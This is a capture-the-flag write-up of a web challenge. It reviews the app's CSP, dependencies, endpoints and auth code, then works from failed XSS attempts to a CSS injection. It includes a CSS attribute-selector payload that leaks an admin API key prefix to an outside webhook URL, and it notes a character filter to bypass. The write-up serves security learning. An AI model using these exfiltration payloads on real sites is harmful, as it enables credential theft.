CSP Policy#

First thing, I opened the source code server.js. What caught my attention was:

1
app.use((req, res, next) => {
2
    res.setHeader("Content-Security-Policy", "default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; img-src *;");
3
    next();
4
});

When you review this CSP, you’ll realize that it can be used to steal admin data — but how?

Let’s continue…

Dependencies Review#

1
{
2
  "name": "stylish-boss",
3
  "version": "1.0.0",
4
  "main": "server.js",
5
  "scripts": {
6
    "start": "node server.js"
7
  },
8
  "dependencies": {
9
    "bcrypt": "^5.0.1",
10
    "cookie-parser": "^1.4.6",
11
    "ejs": "^3.1.8",
12
    "express": "^4.18.2",
13
    "jsonwebtoken": "^9.0.2",
14
    "metadata-stripper": "^1.0.1",
15
    "puppeteer": "^24.11.2",
16
    "sqlite3": "^5.1.2"
17
  }
18
}

package.json contained standard dependencies but included a suspicious one:

1
"metadata-stripper": "^1.0.1"

I searched for the packages, the packages were fine, but the metadata-stripper was the weird one, never seen it before. I noted that and left it behind. (Unfamiliar and worth investigating)

Endpoints Overview#

I opened the next file, didn’t find anything interesting.

From main.js, we discovered 4 endpoints:

1. GET / → Shows the homepage, and if the user is logged in, it fetches his font settings.
2. POST /set-font → Takes the font type from the user.
3. GET /profile → Displays the profile page.
4. POST /report → Creates a report and makes the bot visit the page. → Here I started imagining that the XSS could be used to steal the bot’s cookie and get admin access.

Authentication Logic#

• I kept reading… the next page was just normal auth stuff, and in api.js there was a endpoint: POST /strip-metadata
• It accepts a filename from the Header (X-File-Name) and runs the MetadataStripper package to remove metadata.

The last file was auth.js which had:

• protect
  • Checks the existence and validity of the JWT token in the cookie.
  • If valid → adds user data and continues.
  • If not → redirects to /login.
• bossOnly
  • Only allows access if the user role = Boss.
  • Otherwise → returns 403 Forbidden.
• addUserToRequest
  • Tries to add user data if there’s a JWT token.
  • But doesn’t block access if the token is missing/invalid.
• apiKeyAuth
  • Checks the X-API-Key header.
  • It must be valid and belong to a Boss user.
  • Otherwise → returns 401 or 403.

Payload Testing#

1
<script>alert('babayaga0x01');</script>

Didn’t work because <> were blocked. I thought maybe CSS could be the key (like I expected).

After some searching with my team, we found these articles and shifted to CSS injection with external URL loads:

• Beyond XSS: CSS Injection
• Private data stolen via CSS Injection
• CSS data exfiltration in Firefox

There’s this CSS trick with url(https://myserver.com?q=a) where you can load external URLs. So I tried this to embed a gif:

1
sans-serif'; background: url(https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif);'/*

✅ Worked successfully.

Stealing API Keys#

Now let’s use it to steal the admin’s API key.

With CSS injection, I could inject a full <div> like this. We used CSS selectors to exfiltrate:

1
sans-serif'; div {
2
    background-image: url('<https://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif>');
3
}

When I tested uploading with strip-metadata, I found my own API key looked like:

X-API-Key: sk_yd07fdpwif → so the format is sk_RANDOM.

We can extract it with:

1
div[data-internal-api-key^="sk_"] {
2
    background: url("https://webhook.com/leak?c=sk_");
3
}

Payload breakdown:

1. div → I want to target <div> elements.
2. data-internal-api-key → that’s the attribute inside the div.
3. ^="sk_" → the ^= operator means “value starts with”.
4. So the condition = “grab any <div> that has data-internal-api-key starting with sk_”.

Bypassing Character Filters#

So the filter allows:

1. All English letters (a–z) except a, f, l, g (they’re stripped).
2. All digits (0–9).
3. Allowed symbols: $ { } : ( ) "

From the docker file, we know that the flag exists in the root directory

1
FROM node:18-slim
2

3
WORKDIR /application
4

5
COPY package*.json ./
6

7
RUN apt-get update && apt-get install -y \
8
    ca-certificates \
9
    fonts-liberation \
10
    libasound2 \
11
    libatk-bridge2.0-0 \
12
    libatk1.0-0 \
13
    libcairo2 \
14
    libcups2 \
15
    libdbus-1-3 \
16
    libexpat1 \
17
    libfontconfig1 \
18
    libgbm1 \
19
    libgcc1 \
20
    libglib2.0-0 \
21
    libgtk-3-0 \
22
    libnspr4 \
23
    libnss3 \
24
    libpango-1.0-0 \
25
    libpangocairo-1.0-0 \
26
    libstdc++6 \
27
    libx11-6 \
28
    libx11-xcb1 \
29
    libxcb1 \
30
    libxcomposite1 \
31
    libxcursor1 \
32
    libxdamage1 \
33
    libxext6 \
34
    libxfixes3 \
35
    libxi6 \
36
    libxrandr2 \
37
    libxrender1 \
38
    libxss1 \
39
    libxtst6 \
40
    lsb-release \
41
    wget \
42
    xdg-utils \
43
    exiftool \
44
    --no-install-recommends \
45
    && rm -rf /var/lib/apt/lists/*
46

47
RUN npm install
48

49
COPY . .
50

51
RUN echo "flag{$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)}" > /flag
52

53
EXPOSE 3000
54

55
ENV PORT=3000
56

57
CMD ["npm", "start"]